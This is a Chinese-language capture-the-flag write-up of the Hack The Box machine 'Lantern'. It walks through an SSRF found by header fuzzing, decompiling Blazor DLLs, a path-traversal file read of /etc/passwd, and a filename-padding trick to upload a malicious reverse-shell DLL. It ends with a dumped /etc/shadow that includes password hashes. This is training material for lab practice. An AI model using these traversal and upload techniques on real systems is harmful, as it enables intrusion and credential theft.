【season-6】 htb Lantern wp

5.1k words

这个周中间因为事情比较杂,又要交漏洞维持生计又要准备一些可有可无的比赛,所以这个机器分了好几天抽时间打的,所以就简单记一下容易出疏漏的重点部分


nmap扫到有22,80,3000

80

web1

其中有一个上传功能玩了下没啥东西

web1

不过这边倒是有说他们在招什么技术栈的人所以简单记录下

web1

然后除了几个人员名字就没东西了

3000

这个当时我是开着bp进的 然后放了下包看请求是blazor

当时想法肯定就是想办法看他的blazor的map,看拿到dll看有没有泄露之类的

然后尝试访问了下他的_framework/blazor.boot.json,发现不存在,这就很神奇

但同时她的html里又有_framework/blazor.server.js,所以有两种可能

1.他隐藏起来了 2.我思路有问题

这里接着玩了玩着实没啥收获,然后把肉眼能见的东西都拿去搜看有没有漏洞

除了80的上传着实看不出他是干啥之外,收获了一个80web服务存在ssrf

然后就去访问了下3000的blazor map,发现还是没有

然后就ffuf跑端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
________________________________________________

:: Method : GET
:: URL : http://lantern.htb/
:: Wordlist : FUZZ: /home/fonllge/Desktop/htb/Lantern/range
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Connection: keep-alive
:: Header : Upgrade-Insecure-Requests: 1
:: Header : X-Skipper-Proxy: http://127.0.0.1:FUZZ
:: Header : Host: lantern.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

22 [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 498ms]
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 365ms]
3000 [Status: 200, Size: 2837, Words: 334, Lines: 58, Duration: 599ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 321ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 341ms]
:: Progress: [8000/8000] :: Job [1/1] :: 98 req/sec :: Duration: [0:01:10] :: Errors: 0 ::

挨个访问了下,发现80和8000是一个东西,3000和5000长得有点像,不过5000好像是个独立的

web1

点进去就发现了blazor map

web1

这次访问是存在的,然后根据主机名字找到了他可能自己写的dll

web1

down下来lispy看了下,然后又丢了下dnspy,结果发现这俩东西反编译有差异

在lispy中internalLantern.pages这个包含了一部分base64的,但是dnspy中没有这个部分。

web1

web1

其中OnInitializedAsyn这个正常是有东西的,dnspy反而没有蛮神奇的,之后如果我找到了原因会补充这部分


拿到登录账户密码之后进来,他有一个Logs可以search,然后改了个名字,他就报错了,并且有个文件路径/opt/components/Logsa.dll,可见他Logs是个dll,并且它默认是从这路径加载dll的

web1

然后尝试了下读passwd,发现她会自动给缀上dll,然后看了下他web有个可以查看、管理、上传web文件夹的功能,看了下有个app.py,其中有个任意文件读取

web1

1
2
3
4
5
6
7
8
9
10
11
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)

然后构造请求http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../etc/&ext=/passwd

确实彳亍

不过没想好这个玩意能干啥,读了下ng之类的也没啥特殊发现

再就是去考虑了下想写个恶意dll给他加载弹回shell来,因为他带了个上传的功能

然后简单编译了一个revshell的c#,传了过去,然后他就报错了。

web1

看样子他是只能加载/opt/components/路径下的,所以想办法把文件传到这个路径下就行

可能存在的上传点,一个是80存在的pdf上传,但是他限制了pdf后缀,所以打咩;再一个就是尝试通过修改刚刚上传文件名的部分来尝试跨路径文件上传。

这里遇到个问题,他因为不是非常规形式的走的ws,所以传的时候修改文件名的同时他会校验文件名的长度,但是我尝试了很多次都没找到他文件名长度在这个包的哪里修改。

最后想了个办法,用任意字符先来填充文件名比如,我要上传的路径+文件名是

../../../../../../../../../../opt/components/rev.dll

这里我就用a先替换掉路径的部分../../../../../../../../../../opt/components/

这样就可以确保在第一个包过去的时候,我没找到的文件名长度部分,即便是被我修改路径后,也可以保持前后的文件名的长度是相同。

所以我的文件名就是aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarev.dll

然后传倒是传上去了,执行时候报错了

web1

很尴尬看来他是直接通过我这个调用了rev.Component,不过我也没用过这个东西,想了下他Logs应该也是同样这么调用的,然后就用80的任意文件读取去down了下/opt/components/Logs.dll,看看他是咋写的

反编译了下,因为他调用的Component,所以我们只需要关注这个部分即可

web1

考虑了下直接照猫画虎,新建个项目复制下来,然后替换掉他BuildRenderTree内的部分

web1

然后编译丢上去,有报错了..和上面的报错是一样的,然后我想了下是因为我用的debug编译的,又去改了下release模式,再重新编译又报

web1

去查了下是因为我项目属性的输出类型没改成类库,一直是控制台应用程序

改好了之后又重新编译,编译好了又传了上去,这次不报错了,直接页面死掉直接给个reload,我也醉了。

然后前后复盘了下,偶然发现是我net版本是8.0,然后翻了下笔记里之前的截图,在rev那个dll报错

1
2
An error occured in /home/tomas/LanternAdmin/bin/Debug/net6.0/LanternAdmin.dll: Can not find a type of 'rev.component, rev in
/opt/components/rev.dll

可以看到它的net是6.0..然后我又去改了下编译的net版本,这次传上去,然后再触发。

getshell

web1

不过居然这个用户就是user.txt,我寻思还要再横向移动一次来着;

因为他这个shell动不动就断一下,所以我看到他加目录下有.ssh,就用它ssh里私钥连接了

root

这个没什么太多重点,因为他只有俩进程比较可疑一个bot.exe一个nano的,不过需要注意的是需要监测久点再导才可以,不然出来的不完整..

往下划就ok 只需要记录下面这个部分即可

web1

然后往下滑啊滑

记录一下

1
ech Q3Eddtdw3pMB sudo  /backupsh eech Q3Eddtdw3pMB 

get root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root:$y$j9T$AIkP6DcupUzzLuD19q8Ea.$yfGWAj50b/chhcl4fuZL3jkIlp2NrkL63C5TXcDumJ0:19718:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19715:0:99999:7:::
tomas:$y$j9T$iBupKrKnYvDsG24KvgKi61$P9qTNx7BdVbyqWp5homuabzMA/vr.h3fds5VYDeMII3:19718:0:99999:7:::